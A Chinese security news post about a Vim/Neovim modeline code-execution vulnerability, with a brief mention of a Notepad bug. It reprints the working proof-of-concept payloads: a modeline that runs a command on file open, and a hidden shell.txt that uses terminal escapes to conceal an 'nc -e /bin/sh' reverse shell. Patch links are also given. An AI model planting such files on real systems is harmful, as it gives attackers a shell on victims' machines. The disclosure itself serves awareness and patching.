文章来源:黑鸟,freebuf
前些天,Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞。
可以看见,他在notepad(记事本)程序下启动了一个cmd.exe
由于Ormandy是一名专业漏洞挖掘人员,并且还吸引了Zerodium的创始人出面评论,证实了黑客发现的问题类型并不罕见,因此也证实了该漏洞存在性极高。
而就在昨日,推上再现一则猛料,名为Arminius的安全研究员发现Vim/Neovim的本地代码执行漏洞。。
作为linux的上古神器级的文本编辑器,就这样曝任意代码执行漏洞并且还被披露poc了!
1、创建poc.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2、确保未禁用modeline选项(:set modeline)
3、在vim中打开该txt
vim poc.txt
然后系统会执行 uname -a
该PoC描述了一种真实的攻击方法,其中一旦用户打开文件就启动反弹Shell。 为了隐藏攻击,文件将在打开时立即重写。
此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。而使用cat -v可以显示实际内容。
shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
视频演示
攻击者是右边,被攻击者是左边的机器
攻击者是右边,被攻击者是左边的机器。
Vim补丁8.1.1365
https://github.com/vim/vim/commit/5357552
Neovim补丁(在v0.3.6中发布)
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
你可能喜欢